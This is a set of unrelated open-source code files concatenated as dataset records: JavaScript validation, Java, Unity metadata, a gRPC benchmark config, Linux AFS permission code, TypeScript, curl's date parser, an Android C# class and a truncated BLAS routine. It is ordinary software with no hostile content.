eval(value.ClientValidationFunction + "(value, args);"); ret = args.IsValid; if(!ret) { MaskedEditSetMessage(value, value.InvalidValueMessage, value.InvalidValueText); MaskedEditSetCssClass(value, value.InvalidValueCssClass); } } if(!ret) MaskedEditMessageShow(value, ret); return ret; }
{ "pile_set_name": "Github" }
/* * Hibernate, Relational Persistence for Idiomatic Java * * License: GNU Lesser General Public License (LGPL), version 2.1 or later. * See the lgpl.txt file in the root directory or <http://www.gnu.org/licenses/lgpl-2.1.html>. */ package org.hibernate.osgi.test.client; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.Id; import org.hibernate.envers.Audited; /** * @author Chris Cranford */ @Entity @Audited public class AuditedDataPoint { @Id @GeneratedValue private Integer id; private String name; AuditedDataPoint() { } public AuditedDataPoint(String name) { this( null, name ); } public AuditedDataPoint(Integer id, String name) { this.id = id; this.name = name; } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public int hashCode() { int result; result = ( id != null ? id.hashCode() : 0 ); result = 31 * result + ( name != null ? name.hashCode() : 0 ); return result; } @Override public boolean equals(Object obj) { if ( obj == this ) { return true; } if ( !( obj instanceof AuditedDataPoint ) ) { return false; } AuditedDataPoint that = (AuditedDataPoint) obj; if ( id != null ? !id.equals( that.id ) : that.id != null ) { return false; } if ( name != null ? !name.equals( that.name ) : that.name != null ) { return false; } return true; } }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 5a7ac6b7f5cf14006829094b5816e6c5 folderAsset: yes timeCreated: 1524038521 licenseType: Pro DefaultImporter: externalObjects: {} userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
{ "Default": { "Client": "Grpc", "ClientProperties": { }, "Source": { "Repository": "https://github.com/grpc/grpc-dotnet.git", "BranchOrCommit": "master", "Project": "perf/benchmarkapps/GrpcCoreServer/GrpcCoreServer.csproj" }, "ReadyStateText": "Application started." }, "GrpcUnary-GrpcCore": { "ClientProperties": { "Scenario": "Unary", "GrpcClientType": "GrpcCore" } }, "GrpcUnary-1MB-GrpcCore": { "ClientProperties": { "Scenario": "Unary", "GrpcClientType": "GrpcCore", "RequestSize": 1048576, "ResponseSize": 1048576 } }, "GrpcServerStreaming-GrpcCore": { "ClientProperties": { "Scenario": "ServerStreaming", "GrpcClientType": "GrpcCore" } }, "GrpcPingPongStreaming-GrpcCore": { "ClientProperties": { "Scenario": "PingPongStreaming", "GrpcClientType": "GrpcCore" } }, "GrpcPingPongStreaming-1MB-GrpcCore": { "ClientProperties": { "Scenario": "PingPongStreaming", "GrpcClientType": "GrpcCore", "RequestSize": 1048576, "ResponseSize": 1048576 } }, "GrpcUnary-GrpcNetClient": { "ClientProperties": { "Scenario": "Unary", "GrpcClientType": "GrpcNetClient" } }, "GrpcUnary-1MB-GrpcNetClient": { "ClientProperties": { "Scenario": "Unary", "GrpcClientType": "GrpcNetClient", "RequestSize": 1048576, "ResponseSize": 1048576 } }, "GrpcServerStreaming-GrpcNetClient": { "ClientProperties": { "Scenario": "ServerStreaming", "GrpcClientType": "GrpcNetClient" } }, "GrpcPingPongStreaming-GrpcNetClient": { "ClientProperties": { "Scenario": "PingPongStreaming", "GrpcClientType": "GrpcNetClient" } }, "GrpcPingPongStreaming-1MB-GrpcNetClient": { "ClientProperties": { "Scenario": "PingPongStreaming", "GrpcClientType": "GrpcNetClient", "RequestSize": 1048576, "ResponseSize": 1048576 } }, "GrpcUnary-h2load": { "Client": "h2load", "Path": "/grpc.testing.BenchmarkService/UnaryCall", "Headers": { "content-type": "application/grpc", "TE": "trailers" }, "ClientProperties": { "protocol": "h2c", "RequestBody": "AAAAAAcKBVdvcmxk" } }, "GrpcUnary-Streams-h2load": { "Client": "h2load", "Path": "/grpc.testing.BenchmarkService/UnaryCall", "Headers": { "content-type": "application/grpc", "TE": "trailers" }, "ClientProperties": { "protocol": "h2c", "RequestBody": "AAAAAAcKBVdvcmxk" } } }
{ "pile_set_name": "Github" }
/* AFS security handling * * Copyright (C) 2007 Red Hat, Inc. All Rights Reserved. * Written by David Howells ([email protected]) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #include <linux/init.h> #include <linux/slab.h> #include <linux/fs.h> #include <linux/ctype.h> #include <linux/sched.h> #include <keys/rxrpc-type.h> #include "internal.h" /* * get a key */ struct key *afs_request_key(struct afs_cell *cell) { struct key *key; _enter("{%x}", key_serial(cell->anonymous_key)); _debug("key %s", cell->anonymous_key->description); key = request_key(&key_type_rxrpc, cell->anonymous_key->description, NULL); if (IS_ERR(key)) { if (PTR_ERR(key) != -ENOKEY) { _leave(" = %ld", PTR_ERR(key)); return key; } /* act as anonymous user */ _leave(" = {%x} [anon]", key_serial(cell->anonymous_key)); return key_get(cell->anonymous_key); } else { /* act as authorised user */ _leave(" = {%x} [auth]", key_serial(key)); return key; } } /* * dispose of a permits list */ void afs_zap_permits(struct rcu_head *rcu) { struct afs_permits *permits = container_of(rcu, struct afs_permits, rcu); int loop; _enter("{%d}", permits->count); for (loop = permits->count - 1; loop >= 0; loop--) key_put(permits->permits[loop].key); kfree(permits); } /* * dispose of a permits list in which all the key pointers have been copied */ static void afs_dispose_of_permits(struct rcu_head *rcu) { struct afs_permits *permits = container_of(rcu, struct afs_permits, rcu); _enter("{%d}", permits->count); kfree(permits); } /* * get the authorising vnode - this is the specified inode itself if it's a * directory or it's the parent directory if the specified inode is a file or * symlink * - the caller must release the ref on the inode */ static struct afs_vnode *afs_get_auth_inode(struct afs_vnode *vnode, struct key *key) { struct afs_vnode *auth_vnode; struct inode *auth_inode; _enter(""); if (S_ISDIR(vnode->vfs_inode.i_mode)) { auth_inode = igrab(&vnode->vfs_inode); ASSERT(auth_inode != NULL); } else { auth_inode = afs_iget(vnode->vfs_inode.i_sb, key, &vnode->status.parent, NULL, NULL); if (IS_ERR(auth_inode)) return ERR_CAST(auth_inode); } auth_vnode = AFS_FS_I(auth_inode); _leave(" = {%x}", auth_vnode->fid.vnode); return auth_vnode; } /* * clear the permit cache on a directory vnode */ void afs_clear_permits(struct afs_vnode *vnode) { struct afs_permits *permits; _enter("{%x:%u}", vnode->fid.vid, vnode->fid.vnode); mutex_lock(&vnode->permits_lock); permits = vnode->permits; rcu_assign_pointer(vnode->permits, NULL); mutex_unlock(&vnode->permits_lock); if (permits) call_rcu(&permits->rcu, afs_zap_permits); _leave(""); } /* * add the result obtained for a vnode to its or its parent directory's cache * for the key used to access it */ void afs_cache_permit(struct afs_vnode *vnode, struct key *key, long acl_order) { struct afs_permits *permits, *xpermits; struct afs_permit *permit; struct afs_vnode *auth_vnode; int count, loop; _enter("{%x:%u},%x,%lx", vnode->fid.vid, vnode->fid.vnode, key_serial(key), acl_order); auth_vnode = afs_get_auth_inode(vnode, key); if (IS_ERR(auth_vnode)) { _leave(" [get error %ld]", PTR_ERR(auth_vnode)); return; } mutex_lock(&auth_vnode->permits_lock); /* guard against a rename being detected whilst we waited for the * lock */ if (memcmp(&auth_vnode->fid, &vnode->status.parent, sizeof(struct afs_fid)) != 0) { _debug("renamed"); goto out_unlock; } /* have to be careful as the directory's callback may be broken between * us receiving the status we're trying to cache and us getting the * lock to update the cache for the status */ if (auth_vnode->acl_order - acl_order > 0) { _debug("ACL changed?"); goto out_unlock; } /* always update the anonymous mask */ _debug("anon access %x", vnode->status.anon_access); auth_vnode->status.anon_access = vnode->status.anon_access; if (key == vnode->volume->cell->anonymous_key) goto out_unlock; xpermits = auth_vnode->permits; count = 0; if (xpermits) { /* see if the permit is already in the list * - if it is then we just amend the list */ count = xpermits->count; permit = xpermits->permits; for (loop = count; loop > 0; loop--) { if (permit->key == key) { permit->access_mask = vnode->status.caller_access; goto out_unlock; } permit++; } } permits = kmalloc(sizeof(*permits) + sizeof(*permit) * (count + 1), GFP_NOFS); if (!permits) goto out_unlock; if (xpermits) memcpy(permits->permits, xpermits->permits, count * sizeof(struct afs_permit)); _debug("key %x access %x", key_serial(key), vnode->status.caller_access); permits->permits[count].access_mask = vnode->status.caller_access; permits->permits[count].key = key_get(key); permits->count = count + 1; rcu_assign_pointer(auth_vnode->permits, permits); if (xpermits) call_rcu(&xpermits->rcu, afs_dispose_of_permits); out_unlock: mutex_unlock(&auth_vnode->permits_lock); iput(&auth_vnode->vfs_inode); _leave(""); } /* * check with the fileserver to see if the directory or parent directory is * permitted to be accessed with this authorisation, and if so, what access it * is granted */ static int afs_check_permit(struct afs_vnode *vnode, struct key *key, afs_access_t *_access) { struct afs_permits *permits; struct afs_permit *permit; struct afs_vnode *auth_vnode; bool valid; int loop, ret; _enter("{%x:%u},%x", vnode->fid.vid, vnode->fid.vnode, key_serial(key)); auth_vnode = afs_get_auth_inode(vnode, key); if (IS_ERR(auth_vnode)) { *_access = 0; _leave(" = %ld", PTR_ERR(auth_vnode)); return PTR_ERR(auth_vnode); } ASSERT(S_ISDIR(auth_vnode->vfs_inode.i_mode)); /* check the permits to see if we've got one yet */ if (key == auth_vnode->volume->cell->anonymous_key) { _debug("anon"); *_access = auth_vnode->status.anon_access; valid = true; } else { valid = false; rcu_read_lock(); permits = rcu_dereference(auth_vnode->permits); if (permits) { permit = permits->permits; for (loop = permits->count; loop > 0; loop--) { if (permit->key == key) { _debug("found in cache"); *_access = permit->access_mask; valid = true; break; } permit++; } } rcu_read_unlock(); } if (!valid) { /* check the status on the file we're actually interested in * (the post-processing will cache the result on auth_vnode) */ _debug("no valid permit"); set_bit(AFS_VNODE_CB_BROKEN, &vnode->flags); ret = afs_vnode_fetch_status(vnode, auth_vnode, key); if (ret < 0) { iput(&auth_vnode->vfs_inode); *_access = 0; _leave(" = %d", ret); return ret; } *_access = vnode->status.caller_access; } iput(&auth_vnode->vfs_inode); _leave(" = 0 [access %x]", *_access); return 0; } /* * check the permissions on an AFS file * - AFS ACLs are attached to directories only, and a file is controlled by its * parent directory's ACL */ int afs_permission(struct inode *inode, int mask, unsigned int flags) { struct afs_vnode *vnode = AFS_FS_I(inode); afs_access_t uninitialized_var(access); struct key *key; int ret; if (flags & IPERM_FLAG_RCU) return -ECHILD; _enter("{{%x:%u},%lx},%x,", vnode->fid.vid, vnode->fid.vnode, vnode->flags, mask); key = afs_request_key(vnode->volume->cell); if (IS_ERR(key)) { _leave(" = %ld [key]", PTR_ERR(key)); return PTR_ERR(key); } /* if the promise has expired, we need to check the server again */ if (!vnode->cb_promised) { _debug("not promised"); ret = afs_vnode_fetch_status(vnode, NULL, key); if (ret < 0) goto error; _debug("new promise [fl=%lx]", vnode->flags); } /* check the permits to see if we've got one yet */ ret = afs_check_permit(vnode, key, &access); if (ret < 0) goto error; /* interpret the access mask */ _debug("REQ %x ACC %x on %s", mask, access, S_ISDIR(inode->i_mode) ? "dir" : "file"); if (S_ISDIR(inode->i_mode)) { if (mask & MAY_EXEC) { if (!(access & AFS_ACE_LOOKUP)) goto permission_denied; } else if (mask & MAY_READ) { if (!(access & AFS_ACE_READ)) goto permission_denied; } else if (mask & MAY_WRITE) { if (!(access & (AFS_ACE_DELETE | /* rmdir, unlink, rename from */ AFS_ACE_INSERT | /* create, mkdir, symlink, rename to */ AFS_ACE_WRITE))) /* chmod */ goto permission_denied; } else { BUG(); } } else { if (!(access & AFS_ACE_LOOKUP)) goto permission_denied; if (mask & (MAY_EXEC | MAY_READ)) { if (!(access & AFS_ACE_READ)) goto permission_denied; } else if (mask & MAY_WRITE) { if (!(access & AFS_ACE_WRITE)) goto permission_denied; } } key_put(key); ret = generic_permission(inode, mask, flags, NULL); _leave(" = %d", ret); return ret; permission_denied: ret = -EACCES; error: key_put(key); _leave(" = %d", ret); return ret; }
{ "pile_set_name": "Github" }
namespace Textor { export class TextChangeEvent { public oldRange: TextRange; public newRange: TextRange; public text: string; constructor(oldRange: TextRange, newRange: TextRange, text: string) { this.oldRange = oldRange; this.newRange = newRange; this.text = text; } } }
{ "pile_set_name": "Github" }
/*************************************************************************** * _ _ ____ _ * Project ___| | | | _ \| | * / __| | | | |_) | | * | (__| |_| | _ <| |___ * \___|\___/|_| \_\_____| * * Copyright (C) 1998 - 2008, Daniel Stenberg, <[email protected]>, et al. * * This software is licensed as described in the file COPYING, which * you should have received as part of this distribution. The terms * are also available at http://curl.haxx.se/docs/copyright.html. * * You may opt to use, copy, modify, merge, publish, distribute and/or sell * copies of the Software, and permit persons to whom the Software is * furnished to do so, under the terms of the COPYING file. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * * $Id: parsedate.c,v 1.36 2008-10-23 11:49:19 bagder Exp $ ***************************************************************************/ /* A brief summary of the date string formats this parser groks: RFC 2616 3.3.1 Sun, 06 Nov 1994 08:49:37 GMT ; RFC 822, updated by RFC 1123 Sunday, 06-Nov-94 08:49:37 GMT ; RFC 850, obsoleted by RFC 1036 Sun Nov 6 08:49:37 1994 ; ANSI C's asctime() format we support dates without week day name: 06 Nov 1994 08:49:37 GMT 06-Nov-94 08:49:37 GMT Nov 6 08:49:37 1994 without the time zone: 06 Nov 1994 08:49:37 06-Nov-94 08:49:37 weird order: 1994 Nov 6 08:49:37 (GNU date fails) GMT 08:49:37 06-Nov-94 Sunday 94 6 Nov 08:49:37 (GNU date fails) time left out: 1994 Nov 6 06-Nov-94 Sun Nov 6 94 unusual separators: 1994.Nov.6 Sun/Nov/6/94/GMT commonly used time zone names: Sun, 06 Nov 1994 08:49:37 CET 06 Nov 1994 08:49:37 EST time zones specified using RFC822 style: Sun, 12 Sep 2004 15:05:58 -0700 Sat, 11 Sep 2004 21:32:11 +0200 compact numerical date strings: 20040912 15:05:58 -0700 20040911 +0200 */ #include "setup.h" #include <stdio.h> #include <ctype.h> #include <string.h> #ifdef HAVE_STDLIB_H #include <stdlib.h> /* for strtol() */ #endif #include <curl/curl.h> #include "rawstr.h" #include "parsedate.h" const char * const Curl_wkday[] = {"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"}; static const char * const weekday[] = { "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday" }; const char * const Curl_month[]= { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" }; struct tzinfo { char name[5]; int offset; /* +/- in minutes */ }; /* Here's a bunch of frequently used time zone names. These were supported by the old getdate parser. */ #define tDAYZONE -60 /* offset for daylight savings time */ static const struct tzinfo tz[]= { {"GMT", 0}, /* Greenwich Mean */ {"UTC", 0}, /* Universal (Coordinated) */ {"WET", 0}, /* Western European */ {"BST", 0 tDAYZONE}, /* British Summer */ {"WAT", 60}, /* West Africa */ {"AST", 240}, /* Atlantic Standard */ {"ADT", 240 tDAYZONE}, /* Atlantic Daylight */ {"EST", 300}, /* Eastern Standard */ {"EDT", 300 tDAYZONE}, /* Eastern Daylight */ {"CST", 360}, /* Central Standard */ {"CDT", 360 tDAYZONE}, /* Central Daylight */ {"MST", 420}, /* Mountain Standard */ {"MDT", 420 tDAYZONE}, /* Mountain Daylight */ {"PST", 480}, /* Pacific Standard */ {"PDT", 480 tDAYZONE}, /* Pacific Daylight */ {"YST", 540}, /* Yukon Standard */ {"YDT", 540 tDAYZONE}, /* Yukon Daylight */ {"HST", 600}, /* Hawaii Standard */ {"HDT", 600 tDAYZONE}, /* Hawaii Daylight */ {"CAT", 600}, /* Central Alaska */ {"AHST", 600}, /* Alaska-Hawaii Standard */ {"NT", 660}, /* Nome */ {"IDLW", 720}, /* International Date Line West */ {"CET", -60}, /* Central European */ {"MET", -60}, /* Middle European */ {"MEWT", -60}, /* Middle European Winter */ {"MEST", -60 tDAYZONE}, /* Middle European Summer */ {"CEST", -60 tDAYZONE}, /* Central European Summer */ {"MESZ", -60 tDAYZONE}, /* Middle European Summer */ {"FWT", -60}, /* French Winter */ {"FST", -60 tDAYZONE}, /* French Summer */ {"EET", -120}, /* Eastern Europe, USSR Zone 1 */ {"WAST", -420}, /* West Australian Standard */ {"WADT", -420 tDAYZONE}, /* West Australian Daylight */ {"CCT", -480}, /* China Coast, USSR Zone 7 */ {"JST", -540}, /* Japan Standard, USSR Zone 8 */ {"EAST", -600}, /* Eastern Australian Standard */ {"EADT", -600 tDAYZONE}, /* Eastern Australian Daylight */ {"GST", -600}, /* Guam Standard, USSR Zone 9 */ {"NZT", -720}, /* New Zealand */ {"NZST", -720}, /* New Zealand Standard */ {"NZDT", -720 tDAYZONE}, /* New Zealand Daylight */ {"IDLE", -720}, /* International Date Line East */ }; /* returns: -1 no day 0 monday - 6 sunday */ static int checkday(const char *check, size_t len) { int i; const char * const *what; bool found= FALSE; if(len > 3) what = &weekday[0]; else what = &Curl_wkday[0]; for(i=0; i<7; i++) { if(Curl_raw_equal(check, what[0])) { found=TRUE; break; } what++; } return found?i:-1; } static int checkmonth(const char *check) { int i; const char * const *what; bool found= FALSE; what = &Curl_month[0]; for(i=0; i<12; i++) { if(Curl_raw_equal(check, what[0])) { found=TRUE; break; } what++; } return found?i:-1; /* return the offset or -1, no real offset is -1 */ } /* return the time zone offset between GMT and the input one, in number of seconds or -1 if the timezone wasn't found/legal */ static int checktz(const char *check) { unsigned int i; const struct tzinfo *what; bool found= FALSE; what = tz; for(i=0; i< sizeof(tz)/sizeof(tz[0]); i++) { if(Curl_raw_equal(check, what->name)) { found=TRUE; break; } what++; } return found?what->offset*60:-1; } static void skip(const char **date) { /* skip everything that aren't letters or digits */ while(**date && !ISALNUM(**date)) (*date)++; } enum assume { DATE_MDAY, DATE_YEAR, DATE_TIME }; /* this is a clone of 'struct tm' but with all fields we don't need or use cut out */ struct my_tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; }; /* struct tm to time since epoch in GMT time zone. * This is similar to the standard mktime function but for GMT only, and * doesn't suffer from the various bugs and portability problems that * some systems' implementations have. */ static time_t my_timegm(struct my_tm *tm) { static const int month_days_cumulative [12] = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334 }; int month, year, leap_days; if(tm->tm_year < 70) /* we don't support years before 1970 as they will cause this function to return a negative value */ return -1; year = tm->tm_year + 1900; month = tm->tm_mon; if (month < 0) { year += (11 - month) / 12; month = 11 - (11 - month) % 12; } else if (month >= 12) { year -= month / 12; month = month % 12; } leap_days = year - (tm->tm_mon <= 1); leap_days = ((leap_days / 4) - (leap_days / 100) + (leap_days / 400) - (1969 / 4) + (1969 / 100) - (1969 / 400)); return ((((time_t) (year - 1970) * 365 + leap_days + month_days_cumulative [month] + tm->tm_mday - 1) * 24 + tm->tm_hour) * 60 + tm->tm_min) * 60 + tm->tm_sec; } static time_t parsedate(const char *date) { time_t t = 0; int wdaynum=-1; /* day of the week number, 0-6 (mon-sun) */ int monnum=-1; /* month of the year number, 0-11 */ int mdaynum=-1; /* day of month, 1 - 31 */ int hournum=-1; int minnum=-1; int secnum=-1; int yearnum=-1; int tzoff=-1; struct my_tm tm; enum assume dignext = DATE_MDAY; const char *indate = date; /* save the original pointer */ int part = 0; /* max 6 parts */ while(*date && (part < 6)) { bool found=FALSE; skip(&date); if(ISALPHA(*date)) { /* a name coming up */ char buf[32]=""; size_t len; sscanf(date, "%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]", buf); len = strlen(buf); if(wdaynum == -1) { wdaynum = checkday(buf, len); if(wdaynum != -1) found = TRUE; } if(!found && (monnum == -1)) { monnum = checkmonth(buf); if(monnum != -1) found = TRUE; } if(!found && (tzoff == -1)) { /* this just must be a time zone string */ tzoff = checktz(buf); if(tzoff != -1) found = TRUE; } if(!found) return -1; /* bad string */ date += len; } else if(ISDIGIT(*date)) { /* a digit */ int val; char *end; if((secnum == -1) && (3 == sscanf(date, "%02d:%02d:%02d", &hournum, &minnum, &secnum))) { /* time stamp! */ date += 8; found = TRUE; } else { val = (int)strtol(date, &end, 10); if((tzoff == -1) && ((end - date) == 4) && (val <= 1400) && (indate< date) && ((date[-1] == '+' || date[-1] == '-'))) { /* four digits and a value less than or equal to 1400 (to take into account all sorts of funny time zone diffs) and it is preceeded with a plus or minus. This is a time zone indication. 1400 is picked since +1300 is frequently used and +1400 is mentioned as an edge number in the document "ISO C 200X Proposal: Timezone Functions" at http://david.tribble.com/text/c0xtimezone.html If anyone has a more authoritative source for the exact maximum time zone offsets, please speak up! */ found = TRUE; tzoff = (val/100 * 60 + val%100)*60; /* the + and - prefix indicates the local time compared to GMT, this we need ther reversed math to get what we want */ tzoff = date[-1]=='+'?-tzoff:tzoff; } if(((end - date) == 8) && (yearnum == -1) && (monnum == -1) && (mdaynum == -1)) { /* 8 digits, no year, month or day yet. This is YYYYMMDD */ found = TRUE; yearnum = val/10000; monnum = (val%10000)/100-1; /* month is 0 - 11 */ mdaynum = val%100; } if(!found && (dignext == DATE_MDAY) && (mdaynum == -1)) { if((val > 0) && (val<32)) { mdaynum = val; found = TRUE; } dignext = DATE_YEAR; } if(!found && (dignext == DATE_YEAR) && (yearnum == -1)) { yearnum = val; found = TRUE; if(yearnum < 1900) { if(yearnum > 70) yearnum += 1900; else yearnum += 2000; } if(mdaynum == -1) dignext = DATE_MDAY; } if(!found) return -1; date = end; } } part++; } if(-1 == secnum) secnum = minnum = hournum = 0; /* no time, make it zero */ if((-1 == mdaynum) || (-1 == monnum) || (-1 == yearnum)) /* lacks vital info, fail */ return -1; #if SIZEOF_TIME_T < 5 /* 32 bit time_t can only hold dates to the beginning of 2038 */ if(yearnum > 2037) return 0x7fffffff; #endif tm.tm_sec = secnum; tm.tm_min = minnum; tm.tm_hour = hournum; tm.tm_mday = mdaynum; tm.tm_mon = monnum; tm.tm_year = yearnum - 1900; /* my_timegm() returns a time_t. time_t is often 32 bits, even on many architectures that feature 64 bit 'long'. Some systems have 64 bit time_t and deal with years beyond 2038. However, even on some of the systems with 64 bit time_t mktime() returns -1 for dates beyond 03:14:07 UTC, January 19, 2038. (Such as AIX 5100-06) */ t = my_timegm(&tm); /* time zone adjust (cast t to int to compare to negative one) */ if(-1 != (int)t) { /* Add the time zone diff between local time zone and GMT. */ long delta = (long)(tzoff!=-1?tzoff:0); if((delta>0) && (t + delta < t)) return -1; /* time_t overflow */ t += delta; } return t; } time_t curl_getdate(const char *p, const time_t *now) { (void)now; return parsedate(p); }
{ "pile_set_name": "Github" }
#Log ##Description Pipes the supplied **text** to the console log of your browser. ##Inputs ###text Input **text** to be logged in the console log of your browser. ##Outputs ##Detail
{ "pile_set_name": "Github" }
using Sharpen; namespace android.content.pm { /// <summary> /// Information you can retrieve about hardware configuration preferences /// declared by an application. /// </summary> /// <remarks> /// Information you can retrieve about hardware configuration preferences /// declared by an application. This corresponds to information collected from the /// AndroidManifest.xml's &lt;uses-configuration&gt; and &lt;uses-feature&gt; tags. /// </remarks> [Sharpen.Sharpened] public class ConfigurationInfo : android.os.Parcelable { /// <summary>The kind of touch screen attached to the device.</summary> /// <remarks> /// The kind of touch screen attached to the device. /// One of: /// <see cref="android.content.res.Configuration.TOUCHSCREEN_NOTOUCH">android.content.res.Configuration.TOUCHSCREEN_NOTOUCH /// </see> /// , /// <see cref="android.content.res.Configuration.TOUCHSCREEN_STYLUS">android.content.res.Configuration.TOUCHSCREEN_STYLUS /// </see> /// , /// <see cref="android.content.res.Configuration.TOUCHSCREEN_FINGER">android.content.res.Configuration.TOUCHSCREEN_FINGER /// </see> /// . /// </remarks> public int reqTouchScreen; /// <summary>Application's input method preference.</summary> /// <remarks> /// Application's input method preference. /// One of: /// <see cref="android.content.res.Configuration.KEYBOARD_UNDEFINED">android.content.res.Configuration.KEYBOARD_UNDEFINED /// </see> /// , /// <see cref="android.content.res.Configuration.KEYBOARD_NOKEYS">android.content.res.Configuration.KEYBOARD_NOKEYS /// </see> /// , /// <see cref="android.content.res.Configuration.KEYBOARD_QWERTY">android.content.res.Configuration.KEYBOARD_QWERTY /// </see> /// , /// <see cref="android.content.res.Configuration.KEYBOARD_12KEY">android.content.res.Configuration.KEYBOARD_12KEY /// </see> /// </remarks> public int reqKeyboardType; /// <summary>A flag indicating whether any keyboard is available.</summary> /// <remarks> /// A flag indicating whether any keyboard is available. /// one of: /// <see cref="android.content.res.Configuration.NAVIGATION_UNDEFINED">android.content.res.Configuration.NAVIGATION_UNDEFINED /// </see> /// , /// <see cref="android.content.res.Configuration.NAVIGATION_DPAD">android.content.res.Configuration.NAVIGATION_DPAD /// </see> /// , /// <see cref="android.content.res.Configuration.NAVIGATION_TRACKBALL">android.content.res.Configuration.NAVIGATION_TRACKBALL /// </see> /// , /// <see cref="android.content.res.Configuration.NAVIGATION_WHEEL">android.content.res.Configuration.NAVIGATION_WHEEL /// </see> /// </remarks> public int reqNavigation; /// <summary> /// Value for /// <see cref="reqInputFeatures">reqInputFeatures</see> /// : if set, indicates that the application /// requires a hard keyboard /// </summary> public const int INPUT_FEATURE_HARD_KEYBOARD = unchecked((int)(0x00000001)); /// <summary> /// Value for /// <see cref="reqInputFeatures">reqInputFeatures</see> /// : if set, indicates that the application /// requires a five way navigation device /// </summary> public const int INPUT_FEATURE_FIVE_WAY_NAV = unchecked((int)(0x00000002)); /// <summary>Flags associated with the input features.</summary> /// <remarks> /// Flags associated with the input features. Any combination of /// <see cref="INPUT_FEATURE_HARD_KEYBOARD">INPUT_FEATURE_HARD_KEYBOARD</see> /// , /// <see cref="INPUT_FEATURE_FIVE_WAY_NAV">INPUT_FEATURE_FIVE_WAY_NAV</see> /// </remarks> public int reqInputFeatures = 0; /// <summary> /// Default value for /// <see cref="reqGlEsVersion">reqGlEsVersion</see> /// ; /// </summary> public const int GL_ES_VERSION_UNDEFINED = 0; /// <summary>The GLES version used by an application.</summary> /// <remarks> /// The GLES version used by an application. The upper order 16 bits represent the /// major version and the lower order 16 bits the minor version. /// </remarks> public int reqGlEsVersion; public ConfigurationInfo() { } public ConfigurationInfo(android.content.pm.ConfigurationInfo orig) { reqTouchScreen = orig.reqTouchScreen; reqKeyboardType = orig.reqKeyboardType; reqNavigation = orig.reqNavigation; reqInputFeatures = orig.reqInputFeatures; reqGlEsVersion = orig.reqGlEsVersion; } [Sharpen.OverridesMethod(@"java.lang.Object")] public override string ToString() { return "ConfigurationInfo{" + Sharpen.Util.IntToHexString(Sharpen.Util.IdentityHashCode (this)) + " touchscreen = " + reqTouchScreen + " inputMethod = " + reqKeyboardType + " navigation = " + reqNavigation + " reqInputFeatures = " + reqInputFeatures + " reqGlEsVersion = " + reqGlEsVersion + "}"; } [Sharpen.ImplementsInterface(@"android.os.Parcelable")] public virtual int describeContents() { return 0; } [Sharpen.ImplementsInterface(@"android.os.Parcelable")] public virtual void writeToParcel(android.os.Parcel dest, int parcelableFlags) { dest.writeInt(reqTouchScreen); dest.writeInt(reqKeyboardType); dest.writeInt(reqNavigation); dest.writeInt(reqInputFeatures); dest.writeInt(reqGlEsVersion); } private sealed class _Creator_117 : android.os.ParcelableClass.Creator<android.content.pm.ConfigurationInfo > { public _Creator_117() { } [Sharpen.ImplementsInterface(@"android.os.Parcelable.Creator")] public android.content.pm.ConfigurationInfo createFromParcel(android.os.Parcel source ) { return new android.content.pm.ConfigurationInfo(source); } [Sharpen.ImplementsInterface(@"android.os.Parcelable.Creator")] public android.content.pm.ConfigurationInfo[] newArray(int size) { return new android.content.pm.ConfigurationInfo[size]; } } public static readonly android.os.ParcelableClass.Creator<android.content.pm.ConfigurationInfo > CREATOR = new _Creator_117(); private ConfigurationInfo(android.os.Parcel source) { reqTouchScreen = source.readInt(); reqKeyboardType = source.readInt(); reqNavigation = source.readInt(); reqInputFeatures = source.readInt(); reqGlEsVersion = source.readInt(); } /// <summary> /// This method extracts the major and minor version of reqGLEsVersion attribute /// and returns it as a string. /// </summary> /// <remarks> /// This method extracts the major and minor version of reqGLEsVersion attribute /// and returns it as a string. Say reqGlEsVersion value of 0x00010002 is returned /// as 1.2 /// </remarks> /// <returns>String representation of the reqGlEsVersion attribute</returns> public virtual string getGlEsVersion() { int major = ((reqGlEsVersion & unchecked((int)(0xffff0000))) >> 16); int minor = reqGlEsVersion & unchecked((int)(0x0000ffff)); return major.ToString() + "." + minor.ToString(); } } }
{ "pile_set_name": "Github" }
/* dspmv.f -- translated by f2c (version 19991025). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ #include "FLA_f2c.h" /* Subroutine */ int dspmv_(char *uplo, integer *n, doublereal *alpha, doublereal *ap, doublereal *x, integer *incx, doublereal *beta, doublereal *y, integer *incy) { /* System generated locals */ integer i__1, i__2; /* Local variables */ integer info; doublereal temp1, temp2; integer i__, j, k; extern logical lsame_(char *, char *); integer kk, ix, iy, jx, jy, kx, ky; extern /* Subroutine */ int xerbla_(char *, integer *); /* .. Scalar Arguments .. */ /* .. Array Arguments .. */ /* .. */ /* Purpose */ /* ======= */ /* DSPMV performs the matrix-vector operation */ /* y := alpha*A*x + beta*y, */ /* where alpha and beta are scalars, x and y are n element vectors and */ /* A is an n by n symmetric matrix, supplied in packed form. */ /* Parameters */ /* ========== */ /* UPLO - CHARACTER*1. */ /* On entry, UPLO specifies whether the upper or lower */ /* triangular part of the matrix A is supplied in the packed */ /* array AP as follows: */ /* UPLO = 'U' or 'u' The upper triangular part of A is */ /* supplied in AP. */ /* UPLO = 'L' or 'l' The lower triangular part of A is */ /* supplied in AP. */ /* Unchanged on exit. */ /* N - INTEGER. */ /* On entry, N specifies the order of the matrix A. */ /* N must be at least zero. */ /* Unchanged on exit. */ /* ALPHA - DOUBLE PRECISION. */ /* On entry, ALPHA specifies the scalar alpha. */ /* Unchanged on exit. */ /* AP - DOUBLE PRECISION array of DIMENSION at least */ /* ( ( n*( n + 1 ) )/2 ). */ /* Before entry with UPLO = 'U' 